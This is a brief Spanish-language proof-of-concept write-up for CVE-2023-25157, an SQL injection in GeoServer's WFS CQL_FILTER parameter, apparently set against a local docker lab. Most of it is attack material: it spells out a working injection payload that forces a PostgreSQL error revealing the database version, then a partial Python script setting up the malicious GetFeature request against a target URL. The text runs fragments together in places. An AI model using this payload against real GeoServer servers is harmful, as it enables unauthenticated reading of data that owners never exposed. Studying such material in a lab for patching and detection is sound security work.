
Exploit de prueba de concepto para CVE-2023-25157, una vulnerabilidad de inyección SQL ciega en el parámetro CQL_FILTER de WFS de GeoServer, que permite la extracción de datos sin autenticación.
White Hat 3rd [30th group] Kim Jeongwoo
Enlace de GitHub - https://github.com/custiya/geoserver-CVE-2023-25157
docker compose up -d para iniciar el entorno de prueba.http://your-ip:8080/geoserver.requests.strStartsWith(name,'x'') = true
x para romper la sintaxis SQL.and 1=(SELECT CAST ((SELECT version()) AS integer))
version() devuelve la versión actual de PostgreSQL (cadena de texto).CAST(... AS integer) fuerza la conversión a entero, provocando un error.# URL de destino
url = "http://localhost:8080/geoserver/ows"
# Cadena de inyección original a insertar en CQL_FILTER (decodificada de URL)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# Parámetros
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
